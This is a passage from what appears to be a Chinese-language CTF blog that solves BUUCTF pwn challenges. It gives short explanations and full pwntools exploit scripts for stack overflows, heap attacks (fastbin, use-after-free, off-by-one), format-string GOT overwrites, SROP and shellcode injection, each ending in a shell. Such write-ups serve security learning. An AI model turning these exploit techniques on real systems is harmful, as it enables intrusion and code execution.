    add_user(0xe8,"hack!",0x30,"EEEEEEEE") #4

    '''步骤二:通过将0x80块存储的堆地址,使得可以泄露和修改free_got的内容'''
    payload = "A"*(0x148) + p32(free_got)
    update_description(4,len(payload)+1,payload)
    display(1)

    conn.recvuntil("description: ")
    free_leak = conn.recv(4)
    free_leak = u32(free_leak)
    print "The free leak is",hex(free_leak)

    libc = LibcSearcher("free",free_leak)
    libc_base = free_leak - libc.dump("free")
    print "The libc base is",hex(libc_base)

    '''步骤三:通过修改describtion为/bin/sh,然后修改free_got地址为system地址,最后触发'''
    system = libc_base + libc.dump("system")
    payload = "/bin/sh\x00"
    update_description(4,len(payload)+1,payload)    
    update_description(1,4,p32(system))
    delete_user(4)
    pause()
    conn.interactive()

ciscn_2019_s_4

简单的栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29885
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./babyfengshui_33c3_2016'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #pwnlib.gdb.attach(conn,"b *0x80485CD")
    
    leave_ret = 0x080484b8
    system_plt = 0x08048400 
    pause()
    payload = "A"*0x28
    conn.send(payload)
    conn.recvuntil("A"*0x28)
    stack_leak = u32(conn.recv(4))
    print "The stack leak is",hex(stack_leak)

    s = stack_leak - 0x38
    payload = p32(system_plt) + p32(leave_ret) + p32(s + 0xc)
    payload += "/bin/sh\x00"
    payload = payload.ljust(0x28,"A")
    payload += p32(s-0x4)
    payload += p32(leave_ret)

    conn.send(payload)

    pause()
    conn.interactive()

hitcontraining_magicheap

水题,本身堆存放了一个全局变量的列表,所以只需要再全局变量前面申请一个堆(fastbin attack),然后控制全局变量的列表就能实现任意地址写,从而实现got表劫持

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create_heap(size,content):
	conn.recvuntil("Your choice :")
	conn.sendline("1")
	conn.recvuntil("Size of Heap :")
	conn.sendline(str(size))
	conn.recvuntil("Content of heap:")
	conn.sendline(str(content))
	
def edit_heap(index,size,content):
	conn.recvuntil("Your choice :")
	conn.sendline("2")
	conn.recvuntil("Index :")
	conn.sendline(str(index))
	conn.recvuntil("Size of Heap :")
	conn.sendline(str(size))
	conn.recvuntil("Content of heap :")
	conn.sendline(str(content))

def delete_heap(index):
	conn.recvuntil("Your choice :")
	conn.sendline("3")	
	conn.recvuntil("Index :")
	conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27621
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./magicheap'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./magicheap")  
    #pwnlib.gdb.attach(conn,"b *0x400A6F\nb *0x400925")
    pause()

    bss = 0x602080
    free_got = 0x602018
    hack = 0x400C50
    create_heap(0x60,"test")  #0
    create_heap(0x60,"test")  #1
    create_heap(0x60,"test")  #2
    create_heap(0x60,"test")  #3
    create_heap(0x60,"test")  #4
    delete_heap(3)
    delete_heap(1)
    payload = "\x00"*0x68 + p64(0x71) + p64(bss - 0x3)
    edit_heap(0,len(payload),payload)
    create_heap(0x60,"attack!")  #1
    create_heap(0x60,"attack!")  #3
    payload = "A"*(0x30+3) + p64(free_got)
    edit_heap(3,len(payload),payload)
    payload = p64(hack)
    edit_heap(0,len(payload),payload)

    # x/20a 0x602000
    delete_heap(4)

    pause()
    conn.interactive()

ciscn_2019_n_3(UAF)

这是一个典型的UAF漏洞,关键的利用点:一是全局变量没有再delete后清除;二是delete函数和show函数都是类似类通过调用存储的函数地址实现的,这就使得我们可以通过UAF劫持程序流

BUUCTF【pwn】解题记录(1-3页已完结)_第27张图片

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def new_note(index,type,length,content):
    conn.recvuntil("CNote >")
    conn.sendline("1")
    conn.recvuntil("Index >")
    conn.sendline(str(index))
    conn.recvuntil("Type >")
    conn.sendline(str(type))
    if type == 2:
        conn.recvuntil("Length >")
        conn.sendline(str(length))
        conn.recvuntil("Value >")
        conn.sendline(str(content))
    elif type == 1:
        conn.recvuntil("Value >")
        conn.sendline(str(content))
    
def del_note(index):
    conn.recvuntil("CNote >")
    conn.sendline("2")
    conn.recvuntil("Index >")
    conn.sendline(str(index))

def show_note(index):
    conn.recvuntil("CNote >")
    conn.sendline("3")
    conn.recvuntil("Index >")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29414
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./magicheap'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./ciscn_2019_n_3")  
    #pwnlib.gdb.attach(conn,"b *0x0804895A")
    pause()

    system_plt = 0x08048500
    system_got = 0x804B028
    '''第一步:通过构造,使得第6块的两个堆,指向原本第0、2块的第一个堆'''
    payload = "/bin/sh\x00"
    new_note(0,2,0x20,payload)      #0
    new_note(1,2,0x20,payload)      #1
    new_note(2,2,0x20,payload)      #2
    new_note(3,2,0x20,payload)      #3
    del_note(2)
    del_note(0)

    '''第二步:构造第6块的内容,使得原本的第2块的第1个堆呗篡改'''
    payload = "sh\x00\x00"+p32(system_plt)# + p32(system_plt)
    new_note(6,2,0xc,payload)       #6

    #这一步是将第2块的第2个堆内容改为/bin/sh,这样篡改后才能执行system("/bin/sh")
    payload = "/bin/sh\x00"
    new_note(4,2,0x20,payload)      #4
    new_note(5,2,0x20,payload)      #5

    #触发漏洞
    del_note(2)
    
    pause()
    conn.interactive()

axb_2019_fmt32

就是最最简单基础的格式化字符串,没什么难度

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29757
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./magicheap'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./axb_2019_fmt32")  
    #pwnlib.gdb.attach(conn,"b *0x0804874B")
    pause()
    sprintf_got = 0x0804A030

    '''步骤一:泄露libc地址'''
    conn.recvuntil("Please tell me:")
    payload = "%151$p"
    conn.sendline(payload)

    conn.recvuntil("Repeater:")
    __libc_start_main_leak = conn.recvuntil("\n",drop=True)
    __libc_start_main_leak = int(__libc_start_main_leak,16) - 247
    print "The __libc_start_main is ",hex(__libc_start_main_leak)

    libc = LibcSearcher("__libc_start_main",__libc_start_main_leak)
    libc_base =  __libc_start_main_leak - libc.dump("__libc_start_main")
    print "The libc base is",hex(libc_base)

    '''步骤二:计算onegadget地址,然后覆写got表'''
    one_gadget = libc_base + 0x3a80c
    print "The one_gadget is",hex(one_gadget)
    
    payload = "A" + p32(sprintf_got) + p32(sprintf_got+2)
    num1 = one_gadget%0x10000 - 0x12
    num2 = (0x10000-num1)+(one_gadget/0x10000) - 0x12
    fmt_1 = "%"+str(num1)+"c%8$hn"
    fmt_2 = "%"+str(num2)+"c%9$hn"
    payload += fmt_1 + fmt_2
    conn.recvuntil("Please tell me:")
    conn.sendline(payload)
    #x/1a 0x0804A030
    conn.recvuntil("Please tell me:")
    conn.sendline(p32(0)*20)

    pause()
    conn.interactive()

wustctf2020_closed

看一下题目,就是把输出和报错关闭了,只留下输入stdin,然后执行shell

BUUCTF【pwn】解题记录(1-3页已完结)_第28张图片

其实按照web的做法是可以做的,但是这里是对文件描述符进行修改
可以对stdout重定向,将文件描述符 1 重定向到文件描述符 0 :
因此这题不用写exp,直接执行 exec 1>&0 ,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了

pwnable_start

简单的栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = [JHHHH"terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28842
    conn = remote(HOST ,PORT)
    pause()

    program_point = 0x08048087
    payload = "A"*0x14 + p32(program_point)

    conn.recvuntil("Let's start the CTF:")
    conn.send(payload)

    stack_leak = conn.recv(4)
    stack_leak = u32(stack_leak)
    print "The stack leak is",hex(stack_leak)

    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
    payload = "A"*0x14 + p32(stack_leak+0x14)
    payload += shellcode
    conn.send(payload)

    pause()
    conn.interactive()

gyctf_2020_borrowstack

水题

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25328
    conn = remote(HOST ,PORT)
    pause()

    bss = 0x601080
    leave_ret = 0x400699
    read_plt = 0x400500
    puts_plt = 0x4004E0
    puts_got = 0x601018
    pop_rdi = 0x400703
    pop_rbp = 0x400590
    main = 0x400680

    '''步骤一:先栈溢出转移栈空间,并且布置新的栈空间'''
    conn.recvuntil("what you want")
    payload = 0x60*"A" + p64(bss + 0x80 -8) + p64(leave_ret)
    conn.send(payload)

    conn.recvuntil("Done!You can check and use your borrow stack now!")
    payload = "A"*0x80
    payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
    payload += p64(pop_rbp) + p64(bss-8)
    payload += p64(main)
    conn.send(payload)
    
    '''步骤二:利用布置的栈空间泄露libc地址'''
    conn.recv()
    puts_leak = conn.recvuntil("\n",drop=True)
    puts_leak = puts_leak.ljust(8,"\x00")
    puts_leak = u64(puts_leak)
    print "The leak puts is",hex(puts_leak)

    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    print "The base libc is",hex(libc_base)
    one_gadget = libc_base + 0x4526a#0x4f302

    '''步骤三:写入onegadget'''
    payload = p64(one_gadget) + p64(0)*12
    conn.send(payload)

    pause()
    conn.interactive()

others_babystack

水题,正常的栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25925
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babystack'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./babystack")  
    #pwnlib.gdb.attach(conn,"b *0x4009E9")
    pause()

    '''步骤一:泄露canary'''
    conn.recvuntil(">>")
    conn.send("1")
    payload = "A"*0x88
    conn.sendline(payload)

    conn.recvuntil(">>")
    conn.send("2")    

    conn.recvuntil("\n")
    canary_leak = conn.recv(7)
    canary_leak = "\x00" + canary_leak
    canary_leak = u64(canary_leak)
    print "The canary leak is",hex(canary_leak)

    '''步骤二:泄露libc地址'''
    conn.recvuntil(">>")
    conn.send("1")
    payload = "A"*0x98
    conn.send(payload)

    conn.recvuntil(">>")
    conn.send("2")   
    conn.recvuntil(payload)
    libc_leak = conn.recv(6)
    libc_leak = libc_leak.ljust(8,"\x00")
    libc_leak = u64(libc_leak)
    print "The libc leak is",hex(libc_leak)
    __libc_start_main = libc_leak - 240
    libc = LibcSearcher("__libc_start_main",__libc_start_main)
    libc_base = __libc_start_main - libc.dump("__libc_start_main")
    print "The libc base is",hex(libc_base)

    '''步骤三:用onegadget覆盖main函数的返回地址'''
    one_gadget = libc_base + 0x45216
    conn.recvuntil(">>")
    conn.send("1")
    payload = "A"*0x88
    payload += p64(canary_leak) + p64(0)
    payload += p64(one_gadget) + p64(0)*12
    conn.send(payload)

    '''步骤四:触发漏洞'''
    conn.recvuntil(">>")
    conn.send("3")

    pause()
    conn.interactive()

0ctf_2017_babyheap

这个是一个重复的题目

hitcontraining_heapcreator(overlapping)

这个题目虽然是水体,但是我做了好久,突然顿悟,其实所有的漏洞最核心的就是找到可以越界写的部分,这里是off-by-one
BUUCTF【pwn】解题记录(1-3页已完结)_第29张图片

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
    conn.recvuntil("Your choice :")
    conn.sendline("1")
    conn.recvuntil("Size of Heap :")
    conn.sendline(str(size))
    conn.recvuntil("Content of heap:")
    conn.sendline(str(content))
def edit_heap(index,content):
    conn.recvuntil("Your choice :")
    conn.sendline("2")
    conn.recvuntil("Index :")
    conn.sendline(str(index))
    conn.recvuntil("Content of heap :")
    conn.sendline(str(content))
def show_heap(index):
    conn.recvuntil("Your choice :")
    conn.sendline("3")  
    conn.recvuntil("Index :")
    conn.sendline(str(index))    
def delete_heap(index):
    conn.recvuntil("Your choice :")
    conn.sendline("4")  
    conn.recvuntil("Index :")
    conn.sendline(str(index))
if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28872
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./heapcreator'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./magicheap")  
    #pwnlib.gdb.attach(conn,"b *0x400C38\nb *0x400B2B")# b *0x400CCB
    pause()
    bss = 0x6020a0
    free_got = 0x602018
    hack = 0x400C50

    '''步骤一:通过overlapping利用off-by-one,导致可写的长度发生变化'''
    create_heap(0x18,"")  #0
    create_heap(0x18,"")  #1
    create_heap(0x38,"")  #2
    create_heap(0x38,"")  #3
    create_heap(0x38,"")  #4
    payload = "A"*0x18 + "\xa1" #off-by-one
    edit_heap(0,payload)
    delete_heap(1)
    delete_heap(3)
    create_heap(0x50,"")  #这个就是我们越界写的块

    '''步骤二:通过修改位置1为got表,泄露libc地址'''
    payload = p64(0)*7 + p64(0x21) + p64(0x60) + p64(free_got)
    edit_heap(1,payload)
    
    show_heap(2)    #利用功能二泄露got内容
    conn.recvuntil("Content : ")
    free_leak = conn.recvuntil("\n",drop=True)
    free_leak = free_leak.ljust(8,"\x00")
    free_leak = u64(free_leak)
    print "The free leak is",hex(free_leak)

    libc = LibcSearcher("free",free_leak)
    libc_base = free_leak - libc.dump("free")
    print "The base libc addr is",hex(libc_base)

    malloc_hook  = libc_base + libc.dump("__malloc_hook")
    realloc_hook = libc_base + libc.dump("__realloc_hook")
    realloc = libc_base + libc.dump("realloc")
    print "The realloc addr is",hex(realloc)
    print "The malloc hook addr is",hex(malloc_hook)
    print "The realloc hook addr is",hex(realloc_hook)

    one_gadget = libc_base + 0x4526a  #0x4526a#0xf02a4#0xf1147  
    print "The one_gadget is",hex(one_gadget)

    '''步骤三:通过修改位置1为malloc hook,实现onegadget'''
    payload = p64(0)*7 + p64(0x21) + p64(0x60) + p64(realloc_hook)
    edit_heap(1,payload)
    payload = p64(0)+p64(one_gadget)
    #payload = p64(one_gadget)+p64(realloc+8)
    edit_heap(2,payload)
    
    #create_heap(0x18,"")  #0
    conn.recvuntil("Your choice :")
    conn.sendline("1")

    pause()
    conn.interactive()

roarctf_2019_easy_pwn(overlapping)

说实话,题目并不难,但是关于细节的计算上花费了点时间,这个题目本质上还是overlapping,关键的漏洞环节在sub_E26,人为的保留了一个off-by-one漏洞,这个函数返回的是输入的长度,当在write_note环节输入的长度比原定的长度大10的时候,返回可写长度多一个字节,这就导致了off-by-one
BUUCTF【pwn】解题记录(1-3页已完结)_第30张图片

于是我们就有了如下思路

  • 第一步:先用off-by-one思路构造可以越界写的堆块
  • 第二步:前面构造一个samllbin,free后泄露main_arena地址
  • 第三步:利用fastbin attack在malloc前申请一个0x70大小的堆块,以此控制__realloc_hook和__malloc_hook
  • 第四步:构造hook,实现onegadget,__malloc_hook -> realloc -> one_gadget

在中间需要注意,在overlapping的过程中,注意恢复破坏块的堆块结构

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_note(size):
    conn.recvuntil("choice:")
    conn.sendline("1")
    conn.recvuntil("size:")
    conn.sendline(str(size))

def write_note(index,size,content):
    conn.recvuntil("choice:")
    conn.sendline("2")
    conn.recvuntil("index:")
    conn.sendline(str(index))
    conn.recvuntil("size:")
    conn.sendline(str(size))
    conn.recvuntil("content:")
    conn.send(str(content))

def drop_note(index):
    conn.recvuntil("choice:")
    conn.sendline("3")  
    conn.recvuntil("index:")
    conn.sendline(str(index))    

def show_note(index):
    conn.recvuntil("choice:")
    conn.sendline("4")  
    conn.recvuntil("index:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27533
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./roarctf_2019_easy_pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./magicheap")  
    #pwnlib.gdb.attach(conn,"b main")
    pause()

    '''第一步:用off-by-one思路构造可以越界写的堆块'''
    create_note(0x18)  #0
    create_note(0x18)  #1
    create_note(0x18)  #2
    create_note(0x88)  #3       这里用smallbin就是为了泄露main_arena地址
    create_note(0x18)  #4
    create_note(0x18)  #5

    payload = "A"*0x18 + "\xd1"         #off-by-one,这里我们越界使得第1个块可以控制2、3块位置
    write_note(0,0x18+10,payload)
    drop_note(1)
    create_note(0xc0)  #1
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x91)  #这一步很重要,需要恢复2、3块原本的堆结构
    write_note(1,len(payload),payload)

    '''第二步:通过释放samllbin,free后泄露main_arena地址,然后计算一系列的libc地址'''
    drop_note(3)
    payload = "A"*0x40                  #填充,使得泄露smallbin的链接地址
    write_note(1,len(payload),payload)
    show_note(1)

    conn.recvuntil(payload)
    main_arena_leak = conn.recv(6)
    main_arena_leak = main_arena_leak.ljust(8,"\x00")
    malloc_hook_leak = u64(main_arena_leak) - 88 - 0x10
    print "The malloc_hook leak is",hex(malloc_hook_leak)

    libc = LibcSearcher("__malloc_hook",malloc_hook_leak)
    libc_base = malloc_hook_leak - libc.dump("__malloc_hook")
    print "The libc base is",hex(libc_base)

    one_gadget = libc_base + 0x4526a
    print "The one_gadget is",hex(one_gadget)    
    realloc = libc_base + libc.dump("realloc") 

    '''第三步:利用fastbin attack实现__realloc_hook和__malloc_hook的控制'''
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x91)  #fix the small bin
    write_note(1,len(payload),payload)
    #old_3 = new_3 + new_6
    create_note(0x60)  #3
    create_note(0x10)  #6

    drop_note(3)
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(malloc_hook_leak - 0x23)
    write_note(1,len(payload),payload)
    create_note(0x60)  #3
    create_note(0x60)  #7   ,这个就是我们想要的块

    '''第四步:构造hook,实现onegadget,__malloc_hook -> realloc -> one_gadget'''
    #payload = "A"*0x13 + p64(one_gadget)
    payload = "A"*0xb + p64(one_gadget) + p64(realloc)
    write_note(7,len(payload),payload)

    #触发__malloc_hook
    conn.recvuntil("choice:")   
    conn.sendline("1")
    conn.recvuntil("size:")
    conn.sendline("521")   

    pause()
    conn.interactive()

hitcon2014_stkof(好题)

居然被一个2014年的题目卡住了好久,不过思路也是受到了一点点启发,其中有一些不错的经验可以借鉴

  • 第一,题目漏洞在于输入函数对输入长度没有进行判定,造成了堆溢出
  • 第二,题目中可以注意到,题目中有两个全局变量dword_602100s,如果有方法修改s就可以任意地址写
  • 第三,题目中没有打印输出的函数,也就是说我们没有办法泄露libc地址
    这里就是精华所在了,我的思路是,首先通过s上方的stdin位置内容,利用fastbin attack构造大小为0x70的堆块,然后利用堆溢出漏洞修改s表,然后将strlen的got表指向puts的plt表位置,这样在执行如下位置时候,就能实现内容的打印
    BUUCTF【pwn】解题记录(1-3页已完结)_第31张图片

之前还没有用过将got表劫持成为其他函数的plt地址的情况,需要在程序中找到合适的位置,并且修改后不影响原有程序运行才可以。学习了!

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_note(size):
    conn.sendline("1")
    conn.sendline(str(size))

def write_note(index,size,content):
    conn.sendline("2")
    conn.sendline(str(index))
    conn.sendline(str(size))
    conn.send(content)

def drop_note(index):
    conn.sendline("3")
    conn.sendline(str(index))

def show_note(index):
    conn.sendline("4")  
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29277
    conn = remote(HOST ,PORT)
    pause()

    strlen_got = 0x602030
    malloc_got = 0x602070
    puts_plt = 0x400760

    '''步骤一:利用fastbin attack在全局变量s上面开辟一个堆块,利用stdin的第六位为\x7f'''
    create_note(0x60)   #1
    create_note(0x60)   #2
    create_note(0x60)   #3
    create_note(0x60)   #4
    drop_note(3)

    payload = p64(0)*13 + p64(0x71) + p64(0x6020d0-3)
    write_note(2,len(payload),payload)

    create_note(0x60)   #5
    create_note(0x60)   #6, fastbin attack!
    drop_note(1)

    '''步骤二:通过修改strlen的got表内容为puts_plt+6地址,修改程序流,结合修改全局变量s内容从而泄露libc地址'''
    payload = "A"*3 + p64(0)*2 + p64(6) + p64(0)*10 
    payload += p64(strlen_got) + p64(malloc_got)
    write_note(6,len(payload),payload)

    payload = p64(puts_plt+6)
    write_note(1,len(payload),payload)
    show_note(2)
    conn.recvuntil("OK\n"*4)
    malloc_leak = conn.recv(6)
    malloc_leak = u64(malloc_leak.ljust(8,"\x00"))
    
    libc = LibcSearcher("malloc",malloc_leak)
    libc_base = malloc_leak - libc.dump("malloc")
    one_gadget = libc_base + 0xf02a4 
    realloc_hook = libc_base + libc.dump("__realloc_hook")
    realloc = libc_base + libc.dump("realloc")
    print "The malloc leak is ",hex(malloc_leak)
    print "The libc leak is",hex(libc_base)
    print "The one_gadget is",hex(one_gadget)

    '''步骤三:再次修改全局变量s,修改malloc_hook指向onegadget地址getshell'''
    payload = "A"*3 + p64(0)*2 + p64(6) + p64(0)*10 
    payload += p64(realloc_hook) 
    write_note(6,len(payload),payload)

    payload = p64(one_gadget) + p64(one_gadget)
    write_note(1,len(payload),payload)
    show_note(1)
    create_note(0x20)   #触发漏洞

    pause()
    conn.interactive()

ciscn_2019_s_9

这个题目表现上需要jmp esp,实际上直接onegadget就行了,因为长度原因不可以直接写入shellcode

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27460
    conn = remote(HOST ,PORT)
    pause()

    jmp_esp = 0x08048554
    puts_plt = 0x08048390
    puts_got = 0x804A014
    main = 0x08048559

    '''步骤一:通过puts泄露libc地址'''
    conn.recvuntil(">")
    payload = "A"*0x24 + p32(puts_plt) + p32(main) + p32(puts_got)
    conn.sendline(payload)
    conn.recvuntil("OK bye~\n")
    puts_leak = u32(conn.recv(4))
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    print "The libc base is",hex(libc_base)
    onegadget = libc_base + 0x672a0

    '''步骤二:直接onegadget'''
    conn.recvuntil(">")
    payload = "A"*0x24 + p32(onegadget) + p32(0)*2
    #payload = "A"*0x24 + p32(jmp_esp) + p32(onegadget) + p32(0)
    conn.sendline(payload)
    pause()
    conn.interactive()

pwnable_hacknote

一开始以为需要用到unlink攻击,但是实际上看看就是一个UAF的利用,但是应用条件需要巧妙一点,因为设置申请堆块的次数不超过5次,需要规划每一次布局
我的解题思路如下:

  • 第一步:构造两个任意大小的堆,然后释放掉,申请一个0x8大小的堆,通过修改内容,泄露指定位置的内容,这里可以泄露libc地址
  • 第二步:再次删除编号为2的堆,将puts位置的函数修改为system地址,然后随后写入sh,这样在执行的时候就可以实现getshell

看起来简单,但是要把逻辑走通还是废了点小心思的,关键就是如何利用system函数,然后为什么在system函数后写入sh,需要大家好好考虑情况

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add_note(size,content):
    conn.recvuntil("Your choice :")
    conn.sendline("1")
    conn.recvuntil("Note size :")
    conn.sendline(str(size))
    conn.recvuntil("Content :")
    conn.sendline(content)

def delete_note(index):
    conn.recvuntil("Your choice :")
    conn.sendline("2")
    conn.recvuntil("Index :")
    conn.sendline(str(index))

def print_note(index):
    conn.recvuntil("Your choice :")
    conn.sendline("3")
    conn.recvuntil("Index :")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27335
    conn = remote(HOST ,PORT)
    pause()

    puts_func_link = 0x804862B
    puts_got = 0x0804A024

    '''step1:通过UAF修改1的函数地址和堆块地址,从而泄露libc地址'''
    add_note(0x28,"")   #0
    add_note(0x28,"")   #1
    delete_note(1)
    delete_note(0)
    payload = p32(puts_func_link) + p32(puts_got)
    add_note(0x8,payload)   #2
    print_note(1)

    puts_leak = u32(conn.recv(4))
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    system = libc_base + libc.dump("system")
    bin_sh_addr = libc_base + libc.dump("str_bin_sh")

    print "The puts leak is",hex(puts_leak)
    print "The libc_base is hex",hex(libc_base)
    print "The system is hex",hex(system)
    print "The bin_sh is",hex(bin_sh_addr)
    
    '''step2:再次修改位置2,利用0x804893D函数执行方式直接getshell'''
    delete_note(2)
    payload = p32(system) + "\nsh\n"
    add_note(0x8,payload)   #3
    print_note(1)

    pause()
    conn.interactive()

picoctf_2018_shellcode

真的只需要一个shellcode就可以了···

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25362
    conn = remote(HOST ,PORT)
    pause()

    conn.recvuntil("Enter a string!")
    getshell = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
    conn.sendline(getshell)

    pause()
    conn.interactive()

ciscn_2019_es_7

就是SROP,然后和前面的那个题目没啥区别,就改改地址就行了,不多写了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26650
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./ciscn_2019_es_7")
    #pwnlib.gdb.attach(conn,"b vuln\nb *0x400517\n")
    pause()
    mov_rax_3b = 0x4004E2
    mov_rax_0f = 0x4004DA
    bin_sh = 0x601080
    vuln = 0x04004ED
    syscall_ret = 0x400517  
    '''第一步:泄露栈地址'''
    payload = "A"*0x10 + p64(vuln)
    conn.send(payload)
    conn.recvuntil("A"*0x10)
    conn.recv(0x10)
    stack_leak = u64(conn.recv(8))
    print "The stack leak is",hex(stack_leak)
    '''第二步:构造SROP链'''
    payload = "A"*0x10 + p64(mov_rax_0f) + p64(syscall_ret)
    sigframe_1 = SigreturnFrame()
    offset = stack_leak - 0x118 + len(payload) + len(sigframe_1) #这一步需要注意,算准rsp返回的位置
    #第一个sigframe,用于将/bin/sh写入data段
    sigframe_1.rax = constants.SYS_read
    sigframe_1.rdi = 0
    sigframe_1.rsi = bin_sh
    sigframe_1.rdx = 0x300
    sigframe_1.rsp = offset
    sigframe_1.rip = syscall_ret
    payload += str(sigframe_1)
